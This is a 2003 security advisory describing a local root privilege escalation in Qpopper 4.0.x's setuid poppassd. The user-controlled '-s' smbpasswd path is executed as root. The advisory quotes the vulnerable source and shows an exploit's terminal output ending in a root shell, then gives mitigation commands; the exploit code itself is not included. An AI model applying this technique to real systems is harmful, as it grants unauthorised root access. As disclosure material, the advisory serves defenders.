========================================
  INetCop Security Advisory #2003-0x82-016
  ========================================


* Title: Qpopper v4.0.x poppassd local root exploit


0x01. Description


Qpopper poppassd is a program that changes system passwords thus allowing users
to change their mail passwords.
We found security bug to poppassd that is included to basis to Qpopper v4.0.x.
Through this security bug, allow root user's authority to general user.
For reference, poppassd is daemon that is executed by root (uid 0).

example>
/etc/services: epass        106/tcp poppassd
/etc/inetd.conf: epass stream tcp nowait root /usr/sbin/tcpd poppassd

Vulnerability can presume as following.
There is dochild() function to 711 lines of 'password/poppassd.c' code.

    __
        ...
   170  #define PASSWD_BINARY "/usr/bin/passwd"         /* TBD: config.h */
   171  #define SMBPASSWD_BINARY "/usr/bin/smbpasswd"   /* TBD: config.h */
        ...
   711  int dochild (int master, char *slavedev, char *userid, int smb)
   712  {
        ...
   781     if (!smb)
   782     {
   784       setregid ( pw->pw_gid, pw->pw_gid ); // It's natural.
   785       setreuid ( pw->pw_uid, pw->pw_uid ); // It's natural. ;-)
   786
   787       execl ( pwd_binary, "passwd", NULL ); // ok, is executed by general user.
   788
   789       err_msg ( HERE, "can't exec %s", pwd_binary );
   790       exit ( 1 );
   791     }
   792     else
   793     {
   794       TRACE ( trace_file, POP_DEBUG, HERE, "...changing smb password" );
   795       execl ( smb_binary, "smbpasswd", userid, NULL ); // Ooops, is executed by root user.
   796
   797       err_msg ( HERE, "can't exec %s", smb_binary );
   798       exit ( 1 );
   799     }
   800  }
        ...
    --

Setuid of "/usr/bin/smbpasswd" is not established.
Certainly, "/usr/bin/smbpasswd" may be executed as root competence.
Root setuid of poppassd is established. 

--
[x82@xpl017elz password]$ cat Makefile | grep install
# *        - Added patch by Steven Champeon to fix install and lib.
installdir      =   ${exec_prefix}/bin
INSTALL         =   /usr/bin/install -c
install:
        ${INSTALL} -m 4755 -o root -g 0 poppassd ${installdir}/poppassd; \
        echo "Installed poppassd as ${installdir}/poppassd"
[x82@xpl017elz password]$ pwd
/qpopper4.0.5/password
[x82@xpl017elz password]$ ls -al /usr/local/bin/poppassd
-rwsr-xr-x   1 root     root       108300 Apr 17 00:55 /usr/local/bin/poppassd
[x82@xpl017elz password]$ poppassd -?
poppassd [-?] [-d] [-l 0|1|2] [-p [passd-path]] [-R] [-s [smbpasswd-path]]
        [-t trace-file] [-v] [-y log-facility]
[x82@xpl017elz password]$
--

Fatal vulnerability !! It happens because general user can control smbpasswd's path.
'-s' option capacitates it.


0x02. Vulnerable Packages


It's poppassd version that is included to qpopper regardless of improved version.

--
[x82@xpl017elz /tmp]$ poppassd -v
poppassd version 4.0.5b2
[x82@xpl017elz /tmp]$
--

Vendor site: https://www.qualcomm.com/

qpopper4.0.5 (Inclusion)
-qpopper4.0.5.tar.gz
+Linux
+*BSD
+SunOS
+AIX
+IRIX
+SCO_SV
+Other
qpopper4.0.4 (Inclusion)
-qpopper4.0.4.tar.gz
qpopper4.0.3 (Inclusion)
-qpopper4.0.3.tar.gz
qpopper4.0.x

beta version: qpopper4.0.*


0x03. Exploit


We finished exploit. (Tested it in Linux.)


[x82@xpl017elz /tmp]$ ./0x82-Local.Qp0ppa55d -u x82 -p mypasswd

 Qpopper v4.0.x poppassd local root exploit.
                                by Xpl017Elz

 [+] make code.
 [+] execute poppassd.
 200 xpl017elz poppassd v4.0.5b2 hello, who are you?
 [+] input username.
 200 your password please.
 [+] input password.
 200 your new password please.
 [+] input fake new password.
 [+] wait, 2sec.
 [+] Ok, exploited successfully.
 [*] It's Rootshell !

[root@xpl017elz /root]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@xpl017elz /root]#


0x04. Patch


It is vendor's share that trim vulnerability.
Can reduce danger that remove setuid simply, or designate wheel group.

# chmod -s poppassd

or,

# chgrp wheel poppassd
# chmod o-rx poppassd
# chmod u+s poppassd

And, very excellent poppassd package version exists.
poppassd in Qpopper package does not use for the present. :-p

--


P.S: Sorry, for my poor english.


--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: szoahc(at)hotmail(dot)com,
              xploit(at)hackermail(dot)com

INetCop Security Home: https://www.inetcop.org (Korean hacking game)
             My World: https://x82.i21c.net & https://x82.inetcop.org

GPG public key: https://x82.inetcop.org/h0me/pr0file/x82.k3y
--